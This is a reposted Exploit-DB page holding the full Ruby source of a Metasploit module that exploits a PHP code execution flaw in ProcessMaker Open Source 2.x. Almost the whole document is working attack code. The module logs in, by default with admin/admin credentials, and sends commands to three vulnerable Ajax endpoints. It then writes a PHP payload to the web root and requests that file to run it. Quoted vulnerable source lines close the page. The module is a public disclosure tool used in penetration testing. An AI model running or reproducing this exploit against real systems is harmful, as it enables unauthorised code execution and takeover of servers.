ProcessMaker Open Source – (Authenticated) PHP Code Execution (Metasploit) - 体验盒子

作者： Metasploit
日期： 2013-10-31
类别：
remote
平台：
php
来源：https://www.exploit-db.com/exploits/29325/
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution",
'Description'=> %q{
This module exploits a PHP code execution vulnerability in the
'neoclassic' skin for ProcessMaker Open Source which allows any
authenticated user to execute PHP code. The vulnerable skin is
installed by default in version 2.x and cannot be removed via
the web interface.
},
'License'=> MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL' => 'http://bugs.processmaker.com/view.php?id=13436']
],
'Payload'=>
{
'Space'=> 8190, # HTTP POST
'DisableNops'=> true,
'BadChars' => "\x00"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets'=>
[
# Tested on:
# * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23
# * Debian Linux - ProcessMaker Open Source version 2.0.45
['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }]
],
'Privileged' => false, # Privileged on Windows but not on *nix targets
'DisclosureDate' => 'Oct 24 2013',
'DefaultTarget'=> 0))

register_options(
[
OptString.new('USERNAME',[true, 'The username for ProcessMaker', 'admin']),
OptString.new('PASSWORD',[true, 'The password for ProcessMaker', 'admin'])
], self.class)
end

#
# Send command for execution
#
def execute_command(cmd, opts = { :php_function => 'system' } )
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
vuln_url = [
'/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',
'/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',
'/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'
].sample

# shuffle POST parameters
vars_post = Hash[{
'action' => opts[:php_function],
'params' => cmd
}.to_a.shuffle]

# send payload
vprint_status("#{peer} - Attempting to execute: #{cmd}")
res = send_request_cgi({
'method'=> 'POST',
'uri' => normalize_uri(target_uri.path, vuln_url),
'cookie'=> @cookie,
'vars_post' => vars_post
})
res
end

#
# Login
#
def login(user, pass)
# shuffle POST parameters
vars_post = Hash[{
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'),
}.to_a.shuffle]

# send login request
print_status("#{peer} - Authenticating as user '#{user}'")
begin
res = send_request_cgi({
'method'=> 'POST',
'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"),
'cookie'=> @cookie,
'vars_post' => vars_post
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{peer} - Connection failed")
return false
end
if res and res.code == 200 and res.body =~ /Loading styles and images/
print_good("#{peer} - Authenticated as user '#{user}'")
return true
else
print_error("#{peer} - Authenticating as user '#{user}' failed")
return false
end
end

#
# Check credentials are valid and confirm command execution
#
def check
# login
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
unless login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Unknown
end

# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
print_status("#{peer} - Sending check")
begin
res = execute_command("echo #{fingerprint}")
if res and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end

#
# Write payload to filesystem
#
def upload
# Random PHP function for command execution
php_function = [
'exec',
'shell_exec',
'passthru',
'system'
].sample

# upload payload
code = "<?php #{payload.encoded} ?>"
print_status("#{peer} - Sending payload '#{@fname}' (#{code.length} bytes)")
begin
res = execute_command("echo \"#{code}\">#{@fname}", { :php_function => php_function } )
if res and res.code == 200
print_good("#{peer} - Payload sent successfully")
register_files_for_cleanup(@fname)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
end

def exploit
# login
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
unless login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

# upload payload
@fname= "#{rand_text_alphanumeric(rand(10)+10)}.php"
upload

# execute payload
print_status("#{peer} - Retrieving file '#{@fname}'")
send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})
end
end

#
# Source
#
=begin appFolder/appFolderAjax.php
22:if (($_REQUEST['action']) != 'rename') {
23:$functionName = $_REQUEST ['action'];
24:$functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
26:$functionName ($functionParams);
=end

=begin cases/casesStartPage_Ajax.php
16:$functionName = $_REQUEST['action'];
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
19:$functionName( $functionParams );
=end

=begin cases/cases_SchedulerGetPlugins.php
16:$functionName = $_REQUEST['action'];
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
19:$functionName( $functionParams );
=end